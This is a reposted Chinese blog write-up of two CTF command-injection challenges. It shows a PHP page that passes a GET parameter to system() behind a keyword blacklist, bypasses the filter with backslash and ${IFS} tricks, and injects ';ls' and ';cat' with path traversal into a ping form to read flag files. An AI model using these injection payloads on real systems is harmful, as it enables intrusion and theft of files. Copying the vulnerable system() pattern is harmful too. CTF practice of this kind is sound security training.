自学内容网 自学内容网

【CTF刷题9】2024.10.19

[MoeCTF 2021]babyRCE

考点:关键词过滤(绕过方法参考往期博客)

来源:nssctf

 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
} 

先用ls查看

image-20241019170841483

空格可以用${IFS}绕过
构造payload:

?rce=ca\t${IFS}fl\ag.php

image-20241019170919138

command_execution

考点:命令执行

来源:攻防世界

image-20241019182142415

先ping一下127.0.0.1

image-20241019182650673

再用;来连接两个命令 127.0.0.1;ls

image-20241019182844520

试试看能不能查看inddex.php

127.0.0.1;cat index.php

image-20241019183259450

很明显,不行,那就退级看看

image-20241019183409397

在home中发现flag。

image-20241019183459124

查看flag

127.0.0.1;cat …/…/…/home/flag.txt

image-20241019173221179

cyberpeace{ac541782e73fa1da4a98ec4bc3449fb1}

原文地址:https://blog.csdn.net/star3119391396/article/details/143082223

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!